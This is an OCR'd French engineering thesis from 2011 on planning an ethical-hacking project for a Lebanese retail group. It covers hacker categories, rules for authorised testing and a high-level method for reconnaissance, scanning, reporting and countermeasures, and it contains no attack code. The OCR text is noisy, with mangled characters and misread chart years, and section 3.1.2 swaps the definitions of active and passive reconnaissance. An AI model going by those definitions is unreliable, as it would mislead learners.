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Liste des abréviations

ARP
DdoS
DoS
DOS
FTP
HTTP
HTTPS
ICMP
IDS
IM

1P

IPS
IPSec
ISA
ISO
ISP
LDAP
NTFS
OCS
SMB
SID
SIP
SMTP
SNMP
SQL
SSH
SSL
TCP/TP
UDP
WEP
WI-FI

Address Resolution Protocol
Distributed Denial of Service

Denial of service

Disk Operating System

File Transfer Protocol

Hyper Text Transfer Protocol

HTTP Secure

Internet Control Message Protocol
Intrusion Detection System

Instant Messaging

Internet Protocol

Intrusion Prevention System

Internet Protocol Security

Internet Security and Acceleration
International Organization for Standardization
Internet Service Provider

Lightweight Directory Access Protocol
New Technology File System

Office Communications Server

Server Message Block

System ID

Session Initiation Protocol

Simple Mail Transfer Protocol

Simple Network Management Protocol
Structured Query Language

Secure SHell

Secure Socket Layer

Transmission Contrdle Protocol / Internet Protocol
User Datagramme Protocol

Wired Equivalent Privacy

Wireless Fidelity
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Glossaire

Chiffrement

Clé de cryptage

Commutateur

FTP

HTTP

HTTPS

Hypertexte

Intranet

IP

IPSec

ISO
ISP
Ligne louée

Log File

Opération par laquelle est substitué, a un texte en clair, un texte
inintelligible, inexploitable pour quiconque ne possede pas de clé

permettant de le ramener a sa forme initiale.

Séquence de symboles qui détermine le chiffrement des données, et qui
sert également a leur déchiffrement dans un systéme cryptographique a

clé secréte.

Equipement qui relie plusieurs segments (cables ou fibres) dans un réseau

informatique.

Protocole TCP-IP permettant a des ordinateurs d’échanger n’importe quel

type de fichiers.

Protocole de la suite TCP/IP permettant la navigation dans des pages
hypertexte, reliées par des liens. Ce protocole permet la construction du

web.

Combinaison du protocole HTTP utilisant le protocole SSL pour chiffrer

les communications.

Caractéristique de fichiers textes dont certains mots ou groupes de mots
sont reliés a d’autres documents par des liens permettant de passer de I’un

a ’autre automatiquement.

Réseau interne a ’entreprise, utilisant les mémes outils et protocole

qu’Internet.
Protocole de communication par paquets a la base d’Internet.

Ensemble de protocoles utilisant des algorithmes permettant le transport

de données sécurisées sur un réseau IP.

Producteur et éditeur mondial de Normes internationales.
Fournisseur d’accés a Internet.

Connexion permanente louée d’un ISP.

Fichier contenant l'enregistrement séquentiel de tous les événements

affectant un processus particulier.
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Modem

Pare-feu

(Firewall)

Ping

Protocole

Rejeu

Routeur

Sip

SMTP

SNMP

Spam

Spoofing

SQL

SSL

SE

TCP/1P

Périphérique servant a communiquer avec des utilisateurs distants par
l'intermédiaire d'une ligne téléphonique.
Ensemble de composants (matériels et logiciels) qui bloquent la

transmission de certaines classes de trafic.

Commande informatique permettant d'envoyer une requéte ICMP d'une

machine a une autre machine

Séquence de regles a suivre dans les communications pour établir et

entretenir des échanges entre des entités distantes.

Message répété intentionnellement en partie ou en totalité. C'est
notamment le cas d'un message d'authentification d'échange prélevé et

réémis par une autre entité afin de s'en approprier les droits.
Machine chargée de gérer le réseau et servant de nceud d’interconnexion.

protocole standard ouvert de gestion de sessions souvent utilis¢ dans les

télécommunications multimédia.
Protocole de transmission de la messagerie Internet.

Protocole de communication qui permet aux administrateurs réseau de
gérer les équipements du réseau, de superviser et de diagnostiquer des

problémes réseaux et matériels a distance.

Messages a caractére commercial diffusés a un grand nombre de

personnes, sans quelles en aient fait la demande au préalable.

Technique utilisée pour accéder a un ordinateur ou a une information

¢lectronique en usurpant 1’identité d’un élément autorisé.
Langage standard d’accés aux bases de données.

Protocole de sécurisation des échanges sur Internet, devenu Transport
Layer Security (TLS) en 2001, il intervient entre le protocole TCP-IP et
les différents protocoles applicatifs tels SMTP ou HTTP.

Ensemble de programmes central d'un appareil informatique qui sert

d'interface entre le matériel et les logiciels applicatifs.

Suite de protocole de controle pour gérer les échanges entre deux
machines d’un réseau (sur Internet). IP est le protocole de communication

par paquets a la base d’Internet, TCP étant un protocole assurant la
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Telnet

UDP

WEP

Wi-Fi

validation du transport de paquets. La suite TCP/IP comprend de
nombreux autres protocoles UDP, SMTP, HTTP, FTP...).

Protocole d’émulation de terminal permettant d’obtenir a distance une
ligne de commande sur un ordinateur. Telnet fait passer « en clair »

I’ensemble des échanges, et n’est donc pas sécurisé.

Protocole de télécommunication utilisé pour la transmission des données

en mode non-connecté sans garantie de livraison.
Protocole pour sécuriser les réseaux sans fil de type Wi-Fi.

Ensemble de protocoles de communication sans fil permet de relier sans

fil plusieurs appareils informatiques au sein d'un réseau.
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Introduction

Les temps ont changé¢ ainsi que les exigences et les contraintes qu’impose un marché
en perpétuelle évolution, pour ne pas dire en pleine explosion. Afin de poursuivre les
évolutions récentes et rapides de D’informatique et d’acquérir un marché national et
international, les entreprises se trouvent désormais obligées d’ouvrir leur systéme
d’information a leurs partenaires ou leurs fournisseurs. Elles doivent confronter le contrdle
efficace de la confidentialité, de I’intégrité et de la disponibilité de ces informations. Il est
donc essentiel de connaitre les ressources de l'entreprise a protéger et de maitriser le contrdle

d'acces et les droits des utilisateurs du systéme d'information.

Par ailleurs, avec I’instabilité, consistant a permettre aux personnels de se connecter au
systtme d'information a partir de n'importe quel endroit, les personnels sont amenés a
« transporter » une partie du systéme d'information hors de l'infrastructure sécurisé¢ de
l'entreprise. Dé¢s lors, la sécurité revét une importance qui grandit avec le développement des
réseaux de type Internet Protocol (IP). La complexité des technologies utilisées, la croissance
des terminaux a protéger ainsi que 1’augmentation des nouvelles menaces démontrent que la
sécurité est, et sera plus encore demain un enjeu stratégique majeur. De nombreuses grandes
entreprises ont déja compris l'importance de ces enjeux et définissent un plan de sécurité
proactif en ayant recours au piratage éthique qui est un élément essentiel de ce plan. Il est plus
facile d’attaquer que de défendre, il ne suffit plus d’installer des anti-virus et pare-feux, il faut
des méthodologies, des procédures, des outils et de I’expertise. La nécessité de former les
professionnels de la sécurité¢ des réseaux continue de croitre. Il ne suffit pas de connaitre les
ennemis, il faut connaitre leurs armes et leurs tactiques pour pouvoir se défendre. L’ennemi
est tres mobile et utilise I’effet de surprise. La veille et surveillance demandent trop de

ressources.

Les grandes entreprises libanaises font face a ces enjeux, défis et problémes mais peu
sont celles qui motivent I’investissement sur un projet de piratage éthique. Dans le cadre de
mon emploi actuel comme ingénieur des systémes et réseaux dans le group TSG, afin de
motiver mon entreprise pour un tel investissement, il m’a fallu ouvrir leurs yeux a I’existence

de ces enjeux et leurs dangers inapercus qui menacent silencieusement les ressources
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matériels et intellectuels et proposer les solutions pour faire faces aux défis et ¢liminer les
vulnérabilités existantes. Le travail a réalis¢é nécessite 1’intervention des membres du
département informatique qui vont m’aider a inciter la curiosité des responsables pour

atteindre les résultats demandés.

Comme I’évolution est une qualité principale vécue continuellement dans I’organisation, en
explorant les possibilités de mémoire et de tutorat avec les directeurs, j’ai regu leur
encouragement moral et matériel, ils ont méme proposé¢ quelques idées a explorer qui
m’aideront a compléter mes connaissances et capacités ainsi qu’a aider a faire évoluer le
travail de I’entreprise. L objectif général de la these est d’exploiter les méthodes et outils du

piratage éthique afin de mieux protéger les ressources de 1’entreprise.

Ce document présente les travaux de piratage éthique réalisés, allant de la planification
préliminaire du travail jusqu’a I’exécution des attaques, les résultats obtenus et les contres
mesure suivies. Dans les pages suivantes, je commence par la phase préparatoire dans laquelle
je fais 1’¢tude du systéme existant, 1’analyse de ses besoins et suite aux raisonnements
effectués, la proposition d’un travail de piratage éthique. Dans la deuxiéme partie j’explique
le piratage en général, en exposant les détails du piratage éthique, ces types, objectifs et
commandements. La troisiéme partie couvre les outils et techniques de pénétration utilisés
par les pirates éthiques et les testeurs de sécurité, leur application sur le systéme actuel et les
résultats des tests qui dévoilent les vulnérabilités et enjeux existants. Apres I’évaluation de ces
problémes j’enchaine avec la proposition de recommandations et solutions pour remédier les
failles existantes, renforcer la sécurité du systéme et protéger les données pertinentes contre
d'éventuels pirates noirs. J’ai obtenue ensuite 1’approbation de la direction sur les solutions
proposées et poursuis avec |’'implémentation effective des nouvelles politiques de
sécurisation. La quatriéme partie est dédiée pour le probléme des utilisateurs privilégiés
d’Oracle et 1’élaborions d’une nouvelle norme de sauvegarde qui assure la limitation des
priviléges et la sécurisation des bases de données Oracle de 1’organisation. La derniére partie
consiste a la gestion des systémes apres sécurisation, j’applique quelques outils de tests
utilisés dans la deuxieéme partie pour évaluer le niveau de sécurité atteint et j’¢labore ainsi un
modele de référence pour le futur et des listes de controle périodiques a vérifier par les

membre du département informatique dans toutes les branches de 1’organisation.
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Chapitre 1

Phase préparatoire

1.1 Etude de Pexistant

Le groupe Toni Salame Group (TSG) est Fondée en 1989 par M. Tony Salame qui
geére une entreprise de gros par le biais de "7SG" et un commerce de détail par le biais de
AISHTI pour des vétements, accessoires, cosmétiques, meubles et produits architecturaux.
Offrant des services a valeur ajoutée pour les marchés a échelle moyenne et supérieurs, le
groupe emploie actuellement environ 600 personnels et exploite 14 points de vente et

magasins franchisés au Liban et aux pays du Golfe.

L’entreprise a débuté par un seul magasin ensuite plusieurs branches ont été ouvertes dans
divers régions libanaises : zalka, kaslik, verdun, achrafieh... Au début les branches n’étaient
pas connectées, il n’y avait méme pas un systéme informatisé pour la gestion et le contrdle du
stock ou pour la facturation. Deux ans plus tard ils ont installé¢ un systéme informatisé dans la
branche centrale via lequel ils effectuaient uniquement le contrdle du stock. En 1994
I’entreprise a implémenté dans toutes ses branches un nouveau systeme informatisé bas¢ sur
le langage Dolphin. Afin de synchroniser les informations entre les branches, la compagnie a
mis en fonction une connexion a travers les lignes téléphoniques par des modems pour
transférer les données, ou, un employ¢ emportait les données sur des disquettes d’une branche
a une autre. En 2001 avec I'inauguration de 2 grandes branches et I’implémentation d’un
nouveau systéme informatisé basé sur Oracle, on a connecté toutes les branches en utilisant
plusieurs technologies suivant I’emplacement et la distance entre les branches, parmi les

technologies utilisées : ligne louée, réseau micro-onde, réseau local....

Actuellement I’entreprise se divise en six grandes parties joignant leurs différentes taches afin
d’atteindre les normes de [’Organisation Internationale de Normalisation (ISO) 9001:2000
ainsi que les regles d’or de la société qui sont : le respect de tous, I'amélioration continue et

I’excellent service clientéle.
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Figure 0.1 : Diagramme hiérarchique de I’organisation

Le département informatique dans ’entreprise forme un support opérationnel caché mais

important par rapport aux utilisateurs et a la direction. Notre travail ne se limite pas au

support des problémes des utilisateurs, mais s’étend aussi a la planification des futurs besoins

et I’amélioration continue de notre systéme tout en respectant la limite budgétaire imposée.
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1.2 Analyse des besoins

Plus I’entreprise grandisse, plus les défis de conserver un haut niveau de sécurité
deviennent difficiles. Avec I’inauguration de nouvelles branches au Liban et dans les pays du
Golfe, et I’ouverture de notre systeme informatisé au marché international, les ressources
informatiques de 1’entreprise deviennent menacées par des attaques internes et externes

nuisibles a I’entreprise enticre.

Pourquoi maintenant a-t-on décidé de faire face a ces menaces ?!

Au début I’entreprise n’avait pas un systéme informatisé, ni des connections entre les
branches, donc il y avait un controle manuel sur les ressources de 1’entreprise. Lorsqu’on a
installé le nouveau systéme et configuré la connexion temporaire a travers les lignes
téléphoniques entre les branches, les exigences de sécurisation étaient minimes et faciles,
d’abord parce que les outils d’attaques étaient restreints et difficiles, il faut beaucoup
d’expertise pour trouver et utiliser les outils convenables, ensuite parce que la connexion était
temporaire et le réseau utilisé était intégrer dans le réseau téléphoniques difficile a accéder.

Lorsque le nouveau systéme a été installé et avec I'implémentation d’une connexion
permanente entre les branches et avec le réseau internet, les menaces commencent a
apparaitre. Mais les moyens de sécurisation utilisés a I’époque étaient suffisants. On a installé
un pare-feu entre le réseau interne et externe et configurer les routeurs internes par des regles

interdisant le passage des trafics non connus et cryptant le trafic permis.

L’ouverture de nouvelles branches au Liban et aux pays du Golfe était la premicre raison de
dégradation du niveau de sécurité. Les regles et les matériels installés ne sont plus suffisants,
les vulnérabilités augmentent, les outils d’attaques deviennent plus faciles a obtenir et a
manipuler méme par des non-experts, de méme les intrusions menacent les ressources de
I’entreprise. D’ici nait le premier besoin de reformulation de la sécurisation du réseau et des

ressources qui sont la base de I’entreprise par rapport a la direction et au propriétaire.

La croissance de 1’entreprise n’est pas la seule raison incitant le renforcement de la sécurité,
I’obtention de la certification /SO 9001:2000 qui est renouvelée chaque 6 mois par un audit

semestriel nous a ouvert D’esprit sur des obligations de sécurisation parfois négligées
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antérieurement, comme les priviléges pour chaque type d’utilisateur, les anti-virus utilisés et
leur mis a jour régulicrement, 1’utilisation des cartes mémoires externes, 1’acceés physiques
aux serveurs... Bien sur quelques points ont été déja pris en considération, mais il faut aussi

régler les nouvelles exigences signalés par les auditeurs de 1’ZSO.

1.3 Raisonnement et proposition

Afin de sécuriser les ressources informatiques des attaques internes ou externes, il faut
penser comme les malveillants et essayer leurs fagons d’attaque et leurs outils simples ou
sophistiqués. Beaucoup d’entreprises ont recours a 1’externalisation des spécialistes de
sécurité ou plus récemment au piratage éthique pour résoudre les problémes de sécurisation de
leurs ressources... Mais ce que je pensais, c’est de proposer a ma direction que j’effectue ce

travail moi-méme.

J’ai présenté I’idée au directeur en exposant les arguments et les analyses mentionnés avant,
qui synthétisent 1’état actuel de notre systéme et consolident les raisons d’amélioration de la
sécurité en ayant recours au piratage éthique. Je lui ai proposé d’effectuer cette tdche qui sera
le théme de ma thése pour ’obtention du degré d’Ingénieur, il a été convaincu par les
arguments et analyses présentés et a encouragé I’idée d’effectuer moi-méme le piratage
éthique au lieu d’externaliser la tiche a quelqu’un d’étranger qui saisira les détails privés de
I’entreprise et peut €tre sera lui-méme une menace a ses ressources. Le directeur a accepté
aussi de participer au tutorat et de poursuivre I’enchainement du travail pendant toutes les

phases du mémoire et méme de participer au jury lors de la soutenance si cela est demandé.

Une fois I’idée a ét¢ admise, j’ai commencé méthodiquement a déterminer les phases
préliminaires nécessaires pour la mise en ceuvre effective du projet. Débutant par
I’identification de ces ressources, leurs assigner des priorités, I’énumération des vulnérabilités
possibles et la planification du travail a effectuer. Ces phases sont réalisées avec 1’aide de tous
les membres du département informatique afin de couvrir toutes les branches et ressources de

I’entreprise.
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Chapitre 2

Apercu sur le piratage éthique

Avant d’entamer les phases pratiques du projet, il faut présenter un apercu théorique
sur le piratage éthique. Cette partie couvre les aspects fondamentaux du piratage éthique,
débutant par une définition générale et puis détaillée du piratage informatique, ensuite une
notion sur les types de piratage, 1’objectif du piratage éthique, le profil de compétence du

pirate éthique et enfin les commandements auxquels il doit obéir.

2.1 Définition du pirate informatique

La définition générale de « pirate » dans ’encyclopédie €lectronique wikipedia est un
individu qui pratique de maniere répétée le vol avec violence, plus précisément, un pirate
informatique est une personne qui effectue des crimes dont I’objet ou I’arme est li¢ a
I’informatique. Mais le terme englobe deux expressions antonymes majeures : Hacker et
Cracker.

En sécurit¢ informatique, un hacker est un spécialiste dans la maitrise de la sécurité
informatique, il utilise son savoir-faire dans un cadre 1égal, mais d’autres spécialistes utilisent
ce savoir hors-la-loi, ces derniers sont appelés « crackers ».

La différence fondamentale est donnée par des auteurs de référence: Eric Steven
Raymond et Manuel Castells :

« Les hackers construisent les choses, les crackers les démolissent »

2.1.1 Hacker

Le hacker est une personne passionnée en informatique, elle invente et innove pour le
plaisir, elle veut comprendre le systéme informatique et tester ses connaissances et outils afin
de découvrir les failles de sécurité et alerter ensuite les responsables. Tous les hackers n’ont
pas les mémes motivations, d’ou la distinction de trois types de hackers définies dans

plusieurs sources ¢lectroniques ou bibliothécaires:

2.1.1.1 Les chapeaux blancs ou white hat

Ils utilisent leurs connaissances pour tester la solidité des défenses des systémes

informatiques suite a la demande et permission du client. Ils utilisent les outils et techniques
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de piratage mais d’une facon légale. Ils peuvent étre consultants en sécurité, administrateurs
des réseaux ou veiller sur la légitimité des produits informatiques et des droits de sécurité

proclamés par les fournisseurs.

2.1.1.2 Les chapeaux noirs ou black hat

I1s utilisent leur savoir pour créer des outils nuisibles a la sécurité informatique comme
les virus, vers, cheval de Troie... et effectuer des actes malveillants agissant hors-la-loi dans
le but de nuire ou tirer profit de leurs actes. Leurs cibles peuvent &étre des ordinateurs

individuels ou méme un réseau d’une grande entreprise.

2.1.1.3 Les chapeaux gris ou gray hat

Ce genre de hacker est qualifié et expert, il pénetre 1également ou non dans un systeme
mais il n’a pas un but nuisible. Il cherche plutot I’exploit et faire preuve d’agilité. En terme

simple c’est un hacker hybride entre les hackers black hat et white hat.

2.1.2 Cracker

Congoit des programmes informatiques ou cracks pour modifier le comportement d’un
logiciel, la plus part des temps, pour lever la protection ou restriction d’utilisation sans
payement. Il utilise des débogueurs ou algorithmes pour trouver un code d’enregistrement
valide ou des désassembleurs pour modifier directement le logiciel. L’intérét du cracker est

soit d’utiliser un certain logiciel gratuitement ou par exemple relever un défi.

2.1.3 Script-Kiddies

Des pirates débutants avec peu d’expertise technique, ils piratent pour le plaisir, en
utilisant des programmes codés par les hackers, faciles a utiliser, préconfigurés et automatisés,
sans comprendre comment ils fonctionnent. Ils veulent le pouvoir du hacker sans la discipline
et la formation nécessaire, et dont le but est la destruction ou gain financier. Ils sont nombreux

et forment une menace sur les systémes informatiques.

2.2 Types de piratage

Les types de piratage passent d’un niveau simple, utilisé par la plus part des
internautes a un niveau professionnel utilisé par les hackers. Ces types peuvent étre groupés

en 5 catégories principales :
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- Communal : Besoin de contrdle, de 1’acceptation
- Technologique : force le progres

- Politique : A un message

- Economique : Gain économique personnel

- Gouvernementale : Terrorisme

Selon I’ Institut de sécurité informatique (1999), les types de criminalité informatique sont :

Types de criminalité informatique

9% 4% 2% O Erreures Humaines

m Problémes de sécurité
O Attaques Internes

m Employés Mécontents
@ Virus

| Attaques Externes

55%

Figure 0.1 : Types de criminalité informatique

Selon une étude du Computer Security Institute publiée sur le site http.//znsoft.be, plus de
40% des entreprises ont constaté au moins une tentative d’intrusion au cours de la dernicre
année. Laissant des serveurs piratés, des numéros de cartes bancaires volés, des sites
défigurés... et résultant des pertes financieres graves. Ces pertes sont schématisées grace aux

études de I’ Institut Computer Economics (2006) dans le graphe suivant :

Financial impact of virus attacks 19952005
2003 $14.2 Billion
2004 17.5 Billion
2003 13.0 Billion
2002 11.1 Billion
2001 13.2 Billion
2000 17.1 Billion
1959 13.0 Billion
1998 6.1 Billion
1997 3.3 Billion
1996 1.8 Billion
1995 500 Million

Source: Computer Economics, 2006

Figure 0.2 : Estimation des dégats financiers des attaques informatiques 1995-2005

Malgré les efforts pour atténuer les dégats, le graphe montre une fluctuation annuelle du

montant des pertes dés 1’an 2000.
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2.3 Objectif piratage éthique

« Pour attraper un pirate, pensez; comme un pirate. C’est la base du piratage

éthique. » (Ankit Fadia — unofficial guide to ethical hacking)

Alors que la complexité des failles dans un systéme informatique ne cesse de croitre, il
devient indispensable de prendre des mesures défensives proactives pour contrer les attaques
malveillantes. L’intention de piratage éthique est de découvrir les vulnérabilités a partir d’un
point de vue du hacker afin de mieux sécuriser les systémes. Le pirate attaque le systéme
informatis¢ d’une entreprise, avec son consentement et a sa demande, afin de déceler

d’éventuelles failles de ce systéme.

Comprendre les techniques de piratage est la premicre étape d’apprentissage des moyens de
sécurisation des applications. Savoir ce que les pirates veulent aide a comprendre comment ils
fonctionnent. Comprendre leur maniére de travailler permet de regarder les systémes

d’information dans son ensemble d’une nouvelle maniére.

Il faut donc utiliser le piratage éthique pour mettre en évidence les faiblesses dans les

entreprises et choisir les contre-mesures nécessaires pour les annuler.

2.4 Profil de compétence:

Le hacker doit identifier les faiblesses du systéme informatisé d’une d'entreprise,
exploiter de maniere systématique les défenses internes et externes, ¢laborer des contre-
mesures ainsi que réduire et limiter les risques encourus par une entreprise. Afin d’effectuer
ces taches, il doit se tenir a jour sur les diverses techniques, vulnérabilités et technologies.
Pour se tenir a jour le pirate éthique doit s’ informer de diverses sources et doit avoir un profile

de haute compétence caractérisé par trais variés :

- Forte personnalité
- Discret

- Patient

- Loyal

- Certifié

- Qualifié

RIZK Nada, 2011 -16 -



- Persévérant et méthodique

- Savant et pertinent

- Connaissance en programmation et réseaux
- Connaissance en installation et maintenance

- Connaissance en Gestion des systémes

Malheureusement avec le temps les compétences nécessaires diminuent progressivement avec
la présence de nouveaux outils et programmes sophistiqués et puissants a usage facile. Les
études effectuées par EC-Council révelent une proportion asymétrique entre les compétences

demandées et la complexité et puissance des outils disponibles.

cross site scripting

i
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Figure 0.3 : Comparaison entre compétence des pirates et sophistication des outils
Référence: CEH v5 Module 01 Introduction to Ethical Hacking

2.5 Commandements du piratage éthique

Le pirate éthique doit respecter un nombre de commandements de piratage éthique.
Ignorer ou oublier ces commandements lors de la planification ou I'exécution des tests de
piratage meénent a des résultats néfastes. Les commandements se groupent selon trois

catégories :
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2.5.1 Travail Ethique

Le mot éthique dans ce contexte peut étre défini comme étant le travail a haute
moralité et principes professionnelles. Que ce soit des tests de piratage éthique sur son propre
systéme ou sur celui d’une entreprise qui I’a embauché, le travail du pirate éthique doit étre

authentifi¢ et doit soutenir les objectifs de 1’entreprise.

2.5.2 Respect de ’intimité

Traiter les informations recueillies avec le plus grand respect. Toutes les informations
obtenues lors des essaies doivent étre gardées privées. Ne pas utiliser ces informations pour
fureter dans les informations confidentielles de 1’entreprise ou dans la vie privée. Si quelqu'un
devrait savoir qu'il y a un probléme, envisagé de partager cette information avec le
gestionnaire. Impliquer d'autres personnes des processus de piratage utilisés. Il s'agit d'une
"veille de la surveillance" du systéme qui peut renforcer la confiance et le support du projet de

piratage éthique.
2.5.3 Garder le systéme opérationnel

Une des plus grandes erreurs rencontrées, quand les gens essaient de pirater leurs
propres systemes et le rendent inopérant. La principale raison est une faible planification. Les
testeurs n’ont pas lu la documentation ou ont mal utilisé les outils et techniques d’attaque. On
peut facilement créer des attaques de type Déni de Service (DoS) sur un systéme en phase de
tests. Mais exploitant un grand nombre de tests sur un systéme provoque son blocage. Parfois
les réseaux et les ordinateurs ne supportent pas les nombreuses attaques et outils utilisés lors
des tests et finissent par s’épanouir. De nombreux outils d’évaluation de la sécurité permettent
de controler le nombre de tests effectués simultanément sur un systéme. Ces outils sont
particuliérement pratiques si on a besoin d’exécuter les essais sur les systémes de production

durant les heures de fonctionnement normal.
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Chapitre 3

Attaques, Evaluation et Sécurisation

Comme pratiquement tous les projets informatiques ou de sécurité, le piratage éthique
doit étre planifi¢ a l'avance. Cette deuxiéme partie couvre les étapes de cette planification,
partant de la mentalit¢ du pirate pour déterminer les processus stratégiques et tactique, y
compris le repérage et I’identification des vulnérabilités et risques, le choix des outils
d’attaques et la démarche de leur exécution, arrivant a I’évaluation des résultats et contre-

mesure applicables.

3.1 Méthodologies d’attaque

3.1.1 Formulation du plan

La premiére phase dans la formulation du plan consiste a obtenir 1’approbation de
I’entreprise. Il faut informer les responsables de toutes les étapes a suivre et obtenir leur
parrainage des la premicre étape. Ca pourrait étre un manager, un dirigeant, ou un client, il
doit signer sur le plan élaboré par le pirate éthique, sinon les essais peuvent étre annulés d’une

facon inattendue si quelqu’un prétend ne jamais avoir autorisé la réalisation de ces tests.

Lorsqu’il est embauché par une organisation, le pirate éthique demande a 1’organisation ce
qu’elle tente de protéger, contre qui, et quelles ressources financiéres dispose-t-elle pour
obtenir cette protection, a la suite, il élabore un plan détaillé du champ d’application des

attaques comprenant les informations suivantes :

- Les systemes a tester

- Lesrisques qui sont impliqués

- Le calendrier des tests

- Comment les essais sont effectués

- Informations nécessaires pour commencer les tests

- Que fait-on quand un probléme est rencontré

Les résultats attendus dans plusieurs rapports sur :
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L’évaluation du niveau de sécurité

Les vulnérabilités rencontrées

Les contre-mesures applicables
Lors de la sélection du systéme a tester, il faut commencer par les plus critiques ou
vulnérables avant de percer dans les systemes les plus détaillés, et il faut avoir un plan

d’urgence dans le cas ou quelque chose passe mal.

3.1.2 Reconnaissance

La reconnaissance se référe a la phase préparatoire du processus d’attaque, basé sur la
prise d’empreinte et le recueil d’information, le hacker cherche a capter autant d'informations
que possible sur la cible avant d’enchainer son attaque. L’acquisition d'informations sur la
cible est obligatoire pour pouvoir localiser les informations utiles et pertinentes ainsi que
récupérer les données publiées et analyser les sites d'archive. On distingue deux genres de

reconnaissance, active et passive :

3.1.2.1 Reconnaissance Active:

Acquérir les informations sans interaction directe avec la cible, par exemple la

recherche des documents publics ou les communiqués de presse.

3.1.2.2 Reconnaissance Passive :

Interagir directement avec la cible par divers moyens, par exemple appeler le bureau

d’assistance ou le département technique de 1’entreprise.

Cette phase permettra donc au hacker de récupérer le maximum d’informations sur
I’architecture du réseau, les Systémes d’Exploitation (SE), les applications installées et les

ressources pertinentes avec les méthodes d’authentification sur ces ressources.

3.1.3 Balayage et Identification des vulnérabilités

Une fois la topologie du réseau connue, le hacker effectue un balayage du systéme
pour trouver les vulnérabilités et les exploits possibles a effectuer, le balayage peut étre
exécuté a I’aide de divers outils comme NMAP et mappeur passif. Lorsque le balayage du
réseau est terminé, il suffit au pirate d’examiner le fichier journal ou Log File généré par

I’outil utilisé pour déterminer les ports, services, applications et comptes sur les différentes
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machines. Il utilise ensuite des logiciels spécialisés ou scanneurs de vulnérabilités qui
soumettent le systéme a des tests d’intrusion pour examiner les failles ou vulnérabilités
nuisibles a la sécurité du systéme, dans les protocoles, les SE les applications ou méme le

personnel de I’organisation.

3.1.4 Choix des outils d’attaques

Le pirate ¢éthique doit choisir les outils convenables pour son travail ou
I’accomplissement de sa tache sera difficile. L utilisation des meilleurs outils, n’implique pas
nécessairement trouver toutes les vulnérabilités existantes. De nombreux outils d'évaluation
de la sécurité géncrent des résultats manquants ou erronés car ils sont orientés vers des tests
spécifiques, pour cela le hacker a besoin d’un ensemble d’outils variés et spécifiques pour
tous genre d’attaques. Le choix de ces outils est 1i¢ aux résultats obtenus suite au balayage et
identification des vulnérabilités pour pouvoir exploiter les failles trouvées. Lorsque le pirate
choisit ses outils, il est préférable qu’il obtienne les conseils et commentaires des experts les
ayant utilisés pour s’assurer de leur efficacité. Avant de les utilisés, il doit s’en familiarisé et
comprendre leur capacité sinon les résultats de leur utilisation peuvent étre erronée et par suite

nuisibles par rapport au systéme étudié.

3.1.5 Exécution des attaques

Le piratage éthique peut prendre la persévérance du pirate, pour cela temps et patience
sont importants. Le travail doit étre effectué d’une fagon privée et silencieuse surtout pendant
la transmission et stockage des résultats, dont il est préférable de chiffrer ou protéger par des
mots de passe. Durant cette phase il est nécessaire de planifier la démarche des tests afin

d’éviter une faille possible du systéme. Ce plan doit inclure :

- Quand les tests sont performés
- Quels tests sont performés
- Comment et ou les tests sont performés

- Quoi faire quand une vulnérabilité majeure est découverte

Lorsque le pirate a dressé son plan et I’inventaire des dispositifs du réseau, il est en mesure

de préparer son intrusion. Pour pouvoir s’introduire dans le réseau, le pirate a besoin
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d’accéder a des comptes valides sur les machines et cherche ensuite & augmenter ses

priviléges en obtenant I’accés de I’administrateur du systéme pour étendre ses priviléges.

3.1.6 Résultats et contres mesure

Apres I’exécution des tests, il est possible d’évaluer le niveau de sécurité suite aux
résultats obtenus, et ainsi révéler les vulnérabilités rencontrées et proposer les contre-mesures

applicables. Les taches a suivre durant cette phase seront :

3.1.6.1 Générer les rapports des résultats

Basé sur sa connaissance en tant que professionnel de la sécurité, et le classement des
vulnérabilités trouvées par ses outils d’évaluation, le pirate éthique doit présenter a la
direction de I’entreprise les rapports comprenant les résultats obtenus lors de ses tests, et les
mesures a prendre afin d’atténuer les failles et risques rencontrés. Ces rapports montrent

¢galement que le temps, I’effort et ’argent sont utilisés a bon escient.

Durant la premicre phase, le pirate éthique rassemble les résultats dans une synthése qui peut
étre organisée dans un tableau divisé par catégories pour étre plus claire aux directeurs. Ci-

dessous un exemple d’un tableau présenté :

Table 0-1 : Vulnérabilités internes et externes

Vulnérabilités Internes Vulnérabilités Externes
Employés ou utilisateurs Clients publiques
Matériels : ordinateurs, serveurs, routeurs... Connections avec réseaux de partenaires
Sécurité physique des matériels Utilisateurs distants
Points d’acces sans fil Mauvais pirates (black hat)

Une fois les résultats sont organisés, il faut prioriser les problémes trouvés pour éviter de
perdre le temps avec quelques vulnérabilités difficiles & éliminer a cause des raisons

techniques ou financiéres. Cette priorité peut étre évaluée suivant deux criteres :

- Risques d’utilisation : Probabilit¢é qu’un pirate malicieux prend avantage de cette
vulnérabilité pour pénétrer dans le systeme
- Impacts d’exploitation : Evaluer la nuisibilit¢ de la vulnérabilité par rapport aux

systémes existants.
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I1 est possible de classer les vulnérabilités suivant une tranche numérique de 1 a 5 ou suivant
des critéres comme grave, moyen et faible pour chacune des deux catégories comme dans le

tableau ci-dessous :

Table 0-11 : Rapport Risque / Impact des vulnérabilités

Point d’acces

Grave : : Manque de mot de passe Messagerie en plein texte
insécurisé
Access Internet aux Access malicieux en Cassettes de données
Moyen N y
utilisateurs absence de 1’utilisateur sans mot de passe
. Anti-virus non mis-a- . Personnel de nettoyage
Faible : Pas de chiffrage
jour ayant acces

Une fois toutes les informations sont collectées et arrangées, elles doivent étre organisées
d’une fagon aisée dans le rapport pour qu’elles soient compréhensibles par la direction de

I’entreprise qui n’est pas experte en sécurité.

En résumé, le rapport doit contenir les informations suivantes :
- Tests performés
- Date des tests
- Vulnérabilités découvertes
- Liste par priorité de ces vulnérabilités
- Etapes de sécurisation

- Liste des recommandations pour améliorer la sécurité¢ générale

Enfin il faut faire attention que ce rapport ne tombe pas dans les mains des pirates malicieux
sinon des conséquences néfastes peuvent se produire. Pour prévenir tels incidents il est
préférable de suivre quelques conseils :
- Le rapport et les documents annexes doivent rester confidentiels et sont livrés
seulement aux personnes concernées.
- Effacer tous outils ou documents utilisés lors des tests comme les fichiers journal ou

outils d’analyse des réseaux ou mots de passe.
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3.1.6.2 Contres mesure applicables

Suite au compte-rendu des résultats des tests, le hacker crée un plan d’action pour
débuter les opérations correctives et contres mesure défensives pour sécuriser le systéme.
Pour décider par quelle vulnérabilité il faut commencer, il doit s’assurer qu’elle peut étre
fixée, si elle est critique au systéme et par suite si le systeéme doit étre arréter pour la fixée et

le colit d’achat des matériels et logiciels exigés pour effectuer le travail.

